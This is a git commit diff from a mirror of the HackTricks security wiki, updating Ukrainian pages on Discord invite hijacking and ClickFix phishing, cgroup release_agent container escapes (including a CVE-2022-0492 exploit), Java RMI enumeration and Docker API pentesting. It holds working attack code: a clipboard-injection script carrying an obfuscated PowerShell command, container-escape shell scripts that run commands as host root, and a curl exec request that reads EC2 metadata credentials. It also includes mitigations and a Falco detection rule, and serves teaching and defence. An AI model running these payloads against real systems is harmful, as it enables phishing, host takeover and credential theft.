mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
Translator
parent
8ae1399424
commit
faff2a8143
@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Вразливість системи запрошень Discord дозволяє зловмисникам отримувати доступ до застарілих або видалених кодів запрошень (тимчасових, постійних або кастомних) як нових посилань на будь-якому сервері з підвищенням рівня 3. Нормалізуючи всі коди до нижнього регістру, зловмисники можуть попередньо зареєструвати відомі коди запрошень і тихо перехоплювати трафік, як тільки оригінальне посилання закінчує термін дії або виходить з підвищення.
|
||||
Вразливість системи запрошень Discord дозволяє зловмисникам отримувати доступ до застарілих або видалених кодів запрошень (тимчасових, постійних або кастомних) як нових посилань на будь-якому сервері з підвищенням рівня 3. Нормалізуючи всі коди до нижнього регістру, зловмисники можуть попередньо зареєструвати відомі коди запрошень і тихо перехоплювати трафік, як тільки оригінальне посилання закінчує термін дії або сервер-джерело втрачає своє підвищення.
|
||||
|
||||
## Invite Types and Hijack Risk
|
||||
## Типи запрошень та ризик перехоплення
|
||||
|
||||
| Invite Type | Hijackable? | Condition / Comments |
|
||||
|-----------------------|-------------|------------------------------------------------------------------------------------------------------------|
|
||||
| Temporary Invite Link | ✅ | Після закінчення терміну дії код стає доступним і може бути повторно зареєстрований як кастомне URL на підвищеному сервері. |
|
||||
| Permanent Invite Link | ⚠️ | Якщо видалено і складається лише з малих літер і цифр, код може знову стати доступним. |
|
||||
| Custom Vanity Link | ✅ | Якщо оригінальний сервер втрачає своє підвищення рівня 3, його кастомне запрошення стає доступним для нової реєстрації. |
|
||||
| Тип запрошення | Можна перехопити? | Умови / Коментарі |
|
||||
|-----------------------|-------------------|----------------------------------------------------------------------------------------------------------|
|
||||
| Тимчасове посилання | ✅ | Після закінчення терміну дії код стає доступним і може бути повторно зареєстрований як кастомне URL на підвищеному сервері. |
|
||||
| Постійне посилання | ⚠️ | Якщо видалено і складається лише з малих літер та цифр, код може знову стати доступним. |
|
||||
| Кастомне посилання | ✅ | Якщо оригінальний сервер втрачає своє підвищення рівня 3, його кастомне запрошення стає доступним для нової реєстрації. |
|
||||
|
||||
## Exploitation Steps
|
||||
## Кроки експлуатації
|
||||
|
||||
1. Розвідка
|
||||
- Моніторинг публічних джерел (форумів, соціальних мереж, каналів Telegram) на наявність посилань на запрошення, що відповідають шаблону `discord.gg/{code}` або `discord.com/invite/{code}`.
|
||||
@ -26,16 +26,16 @@
|
||||
4. Тихе перенаправлення
|
||||
- Користувачі, які відвідують старе посилання, безперешкодно перенаправляються на сервер, контрольований зловмисником, як тільки перехоплення активується.
|
||||
|
||||
## Phishing Flow via Discord Server
|
||||
## Потік фішингу через сервер Discord
|
||||
|
||||
1. Обмежте канали сервера так, щоб лише канал **#verify** був видимим.
|
||||
2. Розгорніть бота (наприклад, **Safeguard#0786**), щоб запропонувати новачкам підтвердити через OAuth2.
|
||||
2. Розгорніть бота (наприклад, **Safeguard#0786**), щоб запропонувати новачкам підтвердити свою особу через OAuth2.
|
||||
3. Бот перенаправляє користувачів на фішинговий сайт (наприклад, `captchaguard.me`) під виглядом CAPTCHA або етапу перевірки.
|
||||
4. Реалізуйте трюк UX **ClickFix**:
|
||||
- Відобразіть повідомлення про зламану CAPTCHA.
|
||||
- Скажіть користувачам відкрити діалог **Win+R**, вставити попередньо завантажену команду PowerShell і натиснути Enter.
|
||||
|
||||
### ClickFix Clipboard Injection Example
|
||||
### Приклад ін'єкції в буфер обміну ClickFix
|
||||
```javascript
|
||||
// Copy malicious PowerShell command to clipboard
|
||||
const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';` +
|
||||
@ -55,7 +55,7 @@ navigator.clipboard.writeText(cmd);
|
||||
|
||||
## Посилання
|
||||
|
||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
|
||||
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
|
||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
|
||||
- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,9 @@
|
||||
|
||||
**Для отримання додаткової інформації зверніться до** [**оригінального блогу**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Це лише резюме:
|
||||
|
||||
Original PoC:
|
||||
---
|
||||
|
||||
## Класичний PoC (2019)
|
||||
```shell
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
Доказ концепції (PoC) демонструє метод експлуатації cgroups шляхом створення файлу `release_agent` і виклику його для виконання довільних команд на хості контейнера. Ось розбивка кроків, що входять до процесу:
|
||||
ПPoC зловживає функцією **cgroup-v1** `release_agent`: коли останнє завдання cgroup, яке має `notify_on_release=1`, завершується, ядро (в **початкових просторах імен на хості**) виконує програму, шлях до якої зберігається у записуваному файлі `release_agent`. Оскільки це виконання відбувається з **повними правами root на хості**, отримання прав запису до файлу є достатнім для втечі з контейнера.
|
||||
|
||||
### Короткий, зрозумілий посібник
|
||||
|
||||
1. **Підготуйте новий cgroup**
|
||||
|
||||
1. **Підготовка середовища:**
|
||||
- Створюється директорія `/tmp/cgrp`, яка слугує точкою монтування для cgroup.
|
||||
- Контролер cgroup RDMA монтується в цю директорію. У разі відсутності контролера RDMA рекомендується використовувати контролер cgroup `memory` як альтернативу.
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
2. **Налаштуйте дочірній cgroup:**
|
||||
- Дочірній cgroup з назвою "x" створюється в змонтованій директорії cgroup.
|
||||
- Сповіщення увімкнені для cgroup "x" шляхом запису 1 у його файл notify_on_release.
|
||||
```shell
|
||||
mkdir /tmp/cgrp
|
||||
mount -t cgroup -o rdma cgroup /tmp/cgrp # або –o memory
|
||||
mkdir /tmp/cgrp/x
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
3. **Налаштуйте Release Agent:**
|
||||
- Шлях контейнера на хості отримується з файлу /etc/mtab.
|
||||
- Файл release_agent cgroup потім налаштовується для виконання скрипту з назвою /cmd, розташованого за отриманим шляхом хоста.
|
||||
|
||||
2. **Вкажіть `release_agent` на скрипт, контрольований атакуючим, на хості**
|
||||
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
4. **Створіть і налаштуйте скрипт /cmd:**
|
||||
- Скрипт /cmd створюється всередині контейнера і налаштовується для виконання ps aux, перенаправляючи вихідні дані у файл з назвою /output в контейнері. Повний шлях до /output на хості вказується.
|
||||
|
||||
3. **Скиньте корисне навантаження**
|
||||
|
||||
```shell
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
cat <<'EOF' > /cmd
|
||||
#!/bin/sh
|
||||
ps aux > "$host_path/output"
|
||||
EOF
|
||||
chmod +x /cmd
|
||||
```
|
||||
5. **Запустіть атаку:**
|
||||
- Процес ініціюється в "x" дочірньому cgroup і відразу ж завершується.
|
||||
- Це викликає `release_agent` (скрипт /cmd), який виконує ps aux на хості та записує вихідні дані в /output всередині контейнера.
|
||||
|
||||
4. **Запустіть нотифікатор**
|
||||
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # додаємо себе і відразу виходимо
|
||||
cat /output # тепер містить процеси хоста
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Уразливість ядра 2022 року – CVE-2022-0492
|
||||
|
||||
У лютому 2022 року Yiqi Sun та Kevin Wang виявили, що **ядро *не* перевіряло можливості, коли процес записував у `release_agent` в cgroup-v1** (функція `cgroup_release_agent_write`).
|
||||
|
||||
Фактично **будь-який процес, який міг змонтувати ієрархію cgroup (наприклад, через `unshare -UrC`), міг записати довільний шлях до `release_agent` без `CAP_SYS_ADMIN` у *початковому* просторі імен користувача**. У контейнері Docker/Kubernetes з конфігурацією за замовчуванням, що працює під root, це дозволяло:
|
||||
|
||||
* підвищення привілеїв до root на хості; ↗
|
||||
* втечу з контейнера без привілеїв контейнера.
|
||||
|
||||
Недолік отримав **CVE-2022-0492** (CVSS 7.8 / Високий) і був виправлений у наступних випусках ядра (та всіх пізніших):
|
||||
|
||||
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
|
||||
|
||||
Коміт патчу: `1e85af15da28 "cgroup: Fix permission checking"`.
|
||||
|
||||
### Мінімальний експлойт всередині контейнера
|
||||
```bash
|
||||
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
|
||||
apk add --no-cache util-linux # provides unshare
|
||||
unshare -UrCm sh -c '
|
||||
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
|
||||
echo 1 > /tmp/c/notify_on_release;
|
||||
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
|
||||
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
|
||||
while true; do sleep 1; done
|
||||
'
|
||||
```
|
||||
Якщо ядро вразливе, бінарний файл busybox з *хоста* виконується з повними правами root.
|
||||
|
||||
### Ускладнення та пом'якшення
|
||||
|
||||
* **Оновіть ядро** (≥ версії вище). Патч тепер вимагає `CAP_SYS_ADMIN` у *початковому* просторі імен користувача для запису в `release_agent`.
|
||||
* **Використовуйте cgroup-v2** – об'єднана ієрархія **повністю видалила функцію `release_agent`**, усунувши цей клас втеч.
|
||||
* **Вимкніть неправа простори імен користувачів** на хостах, яким вони не потрібні:
|
||||
```shell
|
||||
sysctl -w kernel.unprivileged_userns_clone=0
|
||||
```
|
||||
* **Обов'язковий контроль доступу**: політики AppArmor/SELinux, які забороняють `mount`, `openat` на `/sys/fs/cgroup/**/release_agent`, або скидають `CAP_SYS_ADMIN`, зупиняють техніку навіть на вразливих ядрах.
|
||||
* **Тільки для читання bind-mask** всіх файлів `release_agent` (приклад скрипта Palo Alto):
|
||||
```shell
|
||||
for f in $(find /sys/fs/cgroup -name release_agent); do
|
||||
mount --bind -o ro /dev/null "$f"
|
||||
done
|
||||
```
|
||||
|
||||
## Виявлення під час виконання
|
||||
|
||||
[`Falco`](https://falco.org/) постачає вбудоване правило з версії v0.32:
|
||||
```yaml
|
||||
- rule: Detect release_agent File Container Escapes
|
||||
desc: Detect an attempt to exploit a container escape using release_agent
|
||||
condition: open_write and container and fd.name endswith release_agent and
|
||||
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
|
||||
thread.cap_effective contains CAP_SYS_ADMIN
|
||||
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
|
||||
priority: CRITICAL
|
||||
tags: [container, privilege_escalation]
|
||||
```
|
||||
Правило спрацьовує при будь-якій спробі запису в `*/release_agent` з процесу всередині контейнера, який все ще має `CAP_SYS_ADMIN`.
|
||||
|
||||
## Посилання
|
||||
|
||||
* [Unit 42 – CVE-2022-0492: контейнерний вихід через cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – детальний аналіз та скрипт для пом'якшення.
|
||||
* [Правило Sysdig Falco та посібник з виявлення](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -20,14 +20,14 @@ _nmap_ іноді має проблеми з ідентифікацією _SSL_
|
||||
|
||||
## Компоненти RMI
|
||||
|
||||
Простими словами, _Java RMI_ дозволяє розробнику зробити _Java об'єкт_ доступним в мережі. Це відкриває _TCP_ порт, до якого клієнти можуть підключатися та викликати методи на відповідному об'єкті. Незважаючи на те, що це звучить просто, існує кілька викликів, які _Java RMI_ має вирішити:
|
||||
Простими словами, _Java RMI_ дозволяє розробнику зробити _Java об'єкт_ доступним в мережі. Це відкриває _TCP_ порт, до якого клієнти можуть підключатися та викликати методи на відповідному об'єкті. Незважаючи на те, що це звучить просто, існує кілька викликів, які _Java RMI_ потрібно вирішити:
|
||||
|
||||
1. Щоб надіслати виклик методу через _Java RMI_, клієнти повинні знати IP-адресу, порт прослуховування, реалізований клас або інтерфейс та `ObjID` цільового об'єкта ( `ObjID` - це унікальний та випадковий ідентифікатор, який створюється, коли об'єкт стає доступним в мережі. Він потрібен, оскільки _Java RMI_ дозволяє кільком об'єктам прослуховувати один і той же _TCP_ порт).
|
||||
1. Щоб передати виклик методу через _Java RMI_, клієнти повинні знати IP-адресу, порт прослуховування, реалізований клас або інтерфейс та `ObjID` цільового об'єкта ( `ObjID` - це унікальний та випадковий ідентифікатор, який створюється, коли об'єкт стає доступним в мережі. Він потрібен, оскільки _Java RMI_ дозволяє кільком об'єктам прослуховувати один і той же _TCP_ порт).
|
||||
2. Віддалені клієнти можуть виділяти ресурси на сервері, викликаючи методи на відкритому об'єкті. _Java віртуальна машина_ повинна відстежувати, які з цих ресурсів все ще використовуються, а які можуть бути зібрані сміттям.
|
||||
|
||||
Перший виклик вирішується за допомогою _RMI реєстру_, який в основному є службою імен для _Java RMI_. Сам _RMI реєстр_ також є _RMI сервісом_, але реалізований інтерфейс та `ObjID` є фіксованими та відомими всім _RMI_ клієнтам. Це дозволяє _RMI_ клієнтам використовувати _RMI_ реєстр, просто знаючи відповідний _TCP_ порт.
|
||||
|
||||
Коли розробники хочуть зробити свої _Java об'єкти_ доступними в мережі, вони зазвичай прив'язують їх до _RMI реєстру_. _Реєстр_ зберігає всю інформацію, необхідну для підключення до об'єкта (IP-адреса, порт прослуховування, реалізований клас або інтерфейс та значення `ObjID`) і робить її доступною під зрозумілим ім'ям ( _прив'язане ім'я_). Клієнти, які хочуть використовувати _RMI сервіс_, запитують _RMI реєстр_ про відповідне _прив'язане ім'я_, і реєстр повертає всю необхідну інформацію для підключення. Таким чином, ситуація в основному така ж, як і з звичайною _DNS_ службою. Наступний список показує невеликий приклад:
|
||||
Коли розробники хочуть зробити свої _Java об'єкти_ доступними в мережі, вони зазвичай прив'язують їх до _RMI реєстру_. _Реєстр_ зберігає всю інформацію, необхідну для підключення до об'єкта (IP-адреса, порт прослуховування, реалізований клас або інтерфейс та значення `ObjID`) і робить її доступною під людським зрозумілим ім'ям ( _прив'язане ім'я_). Клієнти, які хочуть використовувати _RMI сервіс_, запитують _RMI реєстр_ про відповідне _прив'язане ім'я_, і реєстр повертає всю необхідну інформацію для підключення. Таким чином, ситуація в основному така ж, як і з звичайною _DNS_ службою. Наступний список показує невеликий приклад:
|
||||
```java
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
@ -63,7 +63,7 @@ e.printStackTrace();
|
||||
|
||||
## RMI Enumeration
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) є _Java RMI_ сканером вразливостей, який здатний автоматично виявляти загальні _RMI vulnerabilities_. Коли ви виявляєте _RMI_ endpoint, вам слід спробувати це:
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) є _Java RMI_ сканером вразливостей, який здатний автоматично виявляти загальні _RMI vulnerabilities_. Коли ви ідентифікуєте _RMI_ endpoint, вам слід спробувати:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 9010
|
||||
[+] RMI registry bound names:
|
||||
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
|
||||
[+]
|
||||
[+] RMI server codebase enumeration:
|
||||
[+]
|
||||
[+] - http://iinsecure.dev/well-hidden-development-folder/
|
||||
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
|
||||
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
|
||||
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
|
||||
[+]
|
||||
@ -123,7 +123,7 @@ $ rmg enum 172.17.0.2 9010
|
||||
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
|
||||
[+] --> Client codebase enabled - Configuration Status: Non Default
|
||||
```
|
||||
Вивід дії перерахунку пояснюється детальніше на [сторінках документації](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) проекту. Залежно від результату, ви повинні спробувати перевірити виявлені вразливості.
|
||||
Вихід дії перерахунку пояснюється детальніше на [сторінках документації](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) проекту. Залежно від результату, ви повинні спробувати перевірити виявлені вразливості.
|
||||
|
||||
Значення `ObjID`, які відображає _remote-method-guesser_, можна використовувати для визначення часу безперервної роботи служби. Це може дозволити виявити інші вразливості:
|
||||
```
|
||||
@ -136,11 +136,11 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
[+] Time: 1640761503828 (Dec 29,2021 08:05)
|
||||
[+] Count: -32760
|
||||
```
|
||||
## Брутфорсинг віддалених методів
|
||||
## Bruteforcing Remote Methods
|
||||
|
||||
Навіть коли під час енумерації не було виявлено вразливостей, доступні _RMI_ сервіси все ще можуть відкривати небезпечні функції. Більше того, незважаючи на те, що комунікація _RMI_ з компонентами за замовчуванням _RMI_ захищена фільтрами десеріалізації, при спілкуванні з користувацькими _RMI_ сервісами такі фільтри зазвичай відсутні. Знання дійсних підписів методів на _RMI_ сервісах є, отже, цінним.
|
||||
Навіть коли під час енумерації не було виявлено вразливостей, доступні _RMI_ сервіси все ще можуть відкривати небезпечні функції. Більше того, незважаючи на те, що комунікація _RMI_ з компонентами за замовчуванням _RMI_ захищена фільтрами десеріалізації, при спілкуванні з кастомними _RMI_ сервісами такі фільтри зазвичай відсутні. Знання дійсних підписів методів на _RMI_ сервісах є, отже, цінним.
|
||||
|
||||
На жаль, _Java RMI_ не підтримує енумерацію методів на _віддалених об'єктах_. Тим не менш, можливо брутфорсити підписи методів за допомогою інструментів, таких як [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) або [rmiscout](https://github.com/BishopFox/rmiscout):
|
||||
На жаль, _Java RMI_ не підтримує енумерацію методів на _remote objects_. Тим не менш, можливо здійснити брутфорс підписів методів за допомогою інструментів, таких як [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) або [rmiscout](https://github.com/BishopFox/rmiscout):
|
||||
```
|
||||
$ rmg guess 172.17.0.2 9010
|
||||
[+] Reading method candidates from internal wordlist rmg.txt
|
||||
@ -209,7 +209,7 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
|
||||
## Відомі інтерфейси
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) позначає класи або інтерфейси як `known`, якщо вони внесені до внутрішньої бази даних інструменту відомих _RMI services_. У цих випадках ви можете використовувати дію `known`, щоб отримати більше інформації про відповідний _RMI service_:
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) позначає класи або інтерфейси як `known`, якщо вони перераховані в внутрішній базі даних інструменту відомих _RMI services_. У цих випадках ви можете використовувати дію `known`, щоб отримати більше інформації про відповідний _RMI service_:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 1090 | head -n 5
|
||||
[+] RMI registry bound names:
|
||||
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
|
||||
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
|
||||
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
|
||||
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
|
||||
[+]
|
||||
[+] Vulnerabilities:
|
||||
[+]
|
||||
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] is therefore most of the time equivalent to remote code execution.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
||||
[+]
|
||||
[+] -----------------------------------
|
||||
[+] Name:
|
||||
@ -266,7 +266,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] establish a working JMX connection, you can also perform deserialization attacks.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
||||
```
|
||||
## Shodan
|
||||
|
||||
|
||||
@ -10,11 +10,11 @@ Docker є **передовою платформою** в **індустрії к
|
||||
|
||||
#### Основна архітектура docker
|
||||
|
||||
- [**containerd**](http://containerd.io): Це **основний виконуваний модуль** для контейнерів, що відповідає за всебічне **управління життєвим циклом контейнера**. Це включає в себе обробку **переносу та зберігання образів**, а також нагляд за **виконанням, моніторингом та мережевими з'єднаннями** контейнерів. **Більш детальна інформація** про containerd **досліджується далі**.
|
||||
- [**containerd**](http://containerd.io): Це **основний виконуваний модуль** для контейнерів, що відповідає за всебічне **управління життєвим циклом контейнера**. Це включає в себе обробку **переносу та зберігання образів**, а також нагляд за **виконанням, моніторингом і мережевими з'єднаннями** контейнерів. **Більш детальні відомості** про containerd **досліджуються далі**.
|
||||
- **container-shim** відіграє критичну роль як **посередник** в обробці **безголових контейнерів**, безперешкодно беручи на себе функції від **runc** після ініціалізації контейнерів.
|
||||
- [**runc**](http://runc.io): Відомий своїми **легкими та універсальними можливостями виконуваного модуля** контейнерів, runc відповідає **стандарту OCI**. Він використовується containerd для **запуску та управління контейнерами** відповідно до **вказівок OCI**, еволюціонуючи з оригінального **libcontainer**.
|
||||
- [**grpc**](http://www.grpc.io) є необхідним для **полегшення комунікації** між containerd та **docker-engine**, забезпечуючи **ефективну взаємодію**.
|
||||
- [**OCI**](https://www.opencontainers.org) є ключовим у підтримці **специфікацій OCI** для виконуваних модулів та образів, при цьому останні версії Docker є **сумісними з обома стандартами OCI для образів та виконуваних модулів**.
|
||||
- [**grpc**](http://www.grpc.io) є важливим для **полегшення комунікації** між containerd та **docker-engine**, забезпечуючи **ефективну взаємодію**.
|
||||
- [**OCI**](https://www.opencontainers.org) є ключовим у підтримці **специфікацій OCI** для виконуваних модулів та образів, при цьому останні версії Docker є **відповідними як стандартам OCI для образів, так і для виконуваних модулів**.
|
||||
|
||||
#### Основні команди
|
||||
```bash
|
||||
@ -41,11 +41,11 @@ docker system prune -a
|
||||
```
|
||||
#### Containerd
|
||||
|
||||
**Containerd** був спеціально розроблений для задоволення потреб контейнерних платформ, таких як **Docker і Kubernetes**, серед інших. Він має на меті **спростити виконання контейнерів** на різних операційних системах, включаючи Linux, Windows, Solaris та інші, абстрагуючи функціональність, специфічну для операційної системи, та системні виклики. Мета Containerd полягає в тому, щоб включити лише основні функції, необхідні його користувачам, прагнучи уникнути непотрібних компонентів. Однак досягти цієї мети повністю вважається складним завданням.
|
||||
**Containerd** був спеціально розроблений для задоволення потреб контейнерних платформ, таких як **Docker і Kubernetes**, серед інших. Його мета - **спростити виконання контейнерів** на різних операційних системах, включаючи Linux, Windows, Solaris та інші, абстрагуючи функціональність, специфічну для операційної системи, та системні виклики. Мета Containerd полягає в тому, щоб включити лише основні функції, необхідні його користувачам, прагнучи уникнути непотрібних компонентів. Однак повністю досягти цієї мети визнано складним.
|
||||
|
||||
Ключовим дизайнерським рішенням є те, що **Containerd не обробляє мережеві з'єднання**. Мережа вважається критично важливим елементом у розподілених системах, з такими складнощами, як програмно визначена мережа (SDN) та виявлення сервісів, які значно відрізняються від однієї платформи до іншої. Тому Containerd залишає аспекти мережі для управління платформами, які він підтримує.
|
||||
Ключовим дизайнерським рішенням є те, що **Containerd не обробляє мережеві з'єднання**. Мережа вважається критично важливим елементом у розподілених системах, з такими складнощами, як програмно визначена мережа (SDN) та виявлення сервісів, які значно відрізняються від однієї платформи до іншої. Тому Containerd залишає мережеві аспекти для управління платформами, які він підтримує.
|
||||
|
||||
Хоча **Docker використовує Containerd** для запуску контейнерів, важливо зазначити, що Containerd підтримує лише підмножину функціональностей Docker. Зокрема, Containerd не має можливостей управління мережею, присутніх у Docker, і не підтримує створення Docker swarms безпосередньо. Це відмінність підкреслює зосереджену роль Containerd як середовища виконання контейнерів, делегуючи більш спеціалізовані функціональності платформам, з якими він інтегрується.
|
||||
Хоча **Docker використовує Containerd** для запуску контейнерів, важливо зазначити, що Containerd підтримує лише підмнож функціональності Docker. Зокрема, Containerd не має можливостей управління мережею, які є в Docker, і не підтримує створення Docker swarm безпосередньо. Це відмінність підкреслює зосереджену роль Containerd як середовища виконання контейнерів, делегуючи більш спеціалізовані функції платформам, з якими він інтегрується.
|
||||
```bash
|
||||
#Containerd CLI
|
||||
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
|
||||
@ -65,7 +65,7 @@ ctr container delete <containerName>
|
||||
|
||||
**Podman** - це відкритий контейнерний движок, який відповідає стандартам [Open Container Initiative (OCI)](https://github.com/opencontainers), розроблений і підтримуваний компанією Red Hat. Він відрізняється від Docker кількома особливими функціями, зокрема **архітектурою без демонів** та підтримкою **контейнерів без прав root**, що дозволяє користувачам запускати контейнери без привілеїв root.
|
||||
|
||||
Podman розроблений для сумісності з API Docker, що дозволяє використовувати команди Docker CLI. Ця сумісність поширюється на його екосистему, яка включає інструменти, такі як **Buildah** для створення образів контейнерів і **Skopeo** для операцій з образами, таких як push, pull і inspect. Більше деталей про ці інструменти можна знайти на їхній [сторінці GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).
|
||||
Podman розроблений для сумісності з API Docker, що дозволяє використовувати команди Docker CLI. Ця сумісність поширюється на його екосистему, яка включає інструменти, такі як **Buildah** для створення образів контейнерів і **Skopeo** для операцій з образами, таких як push, pull і inspect. Більше деталей про ці інструменти можна знайти на їхній [GitHub сторінці](https://github.com/containers/buildah/tree/master/docs/containertools).
|
||||
|
||||
**Ключові відмінності**
|
||||
|
||||
@ -75,7 +75,7 @@ Podman розроблений для сумісності з API Docker, що д
|
||||
|
||||
Підхід Podman пропонує безпечну та гнучку альтернативу Docker, підкреслюючи управління привілеями користувачів і сумісність з існуючими робочими процесами Docker.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що оскільки podman прагне підтримувати той же API, що й docker, ви можете використовувати ті ж команди з podman, що й з docker, такі як:
|
||||
>
|
||||
> ```bash
|
||||
@ -136,7 +136,7 @@ GitCommit: fec3683
|
||||
```
|
||||
Якщо ви можете **зв'язатися з віддаленим docker API за допомогою команди `docker`**, ви можете **виконати** будь-які з **docker** [**команд, які були раніше** прокоментовані](2375-pentesting-docker.md#basic-commands) для взаємодії з сервісом.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Ви можете `export DOCKER_HOST="tcp://localhost:2375"` і **уникнути** використання параметра `-H` з командою docker
|
||||
|
||||
**Швидке підвищення привілеїв**
|
||||
@ -145,14 +145,14 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
|
||||
```
|
||||
**Curl**
|
||||
|
||||
Іноді ви можете побачити **2376** активним для **TLS** кінцевої точки. Мені не вдалося підключитися до нього за допомогою docker клієнта, але це можливо зробити за допомогою curl.
|
||||
Іноді ви побачите **2376** для **TLS** кінцевої точки. Я не зміг підключитися до неї за допомогою docker клієнта, але це можливо зробити за допомогою curl.
|
||||
```bash
|
||||
#List containers
|
||||
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
|
||||
#List processes inside a container
|
||||
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
|
||||
#Set up and exec job to hit the metadata URL
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
|
||||
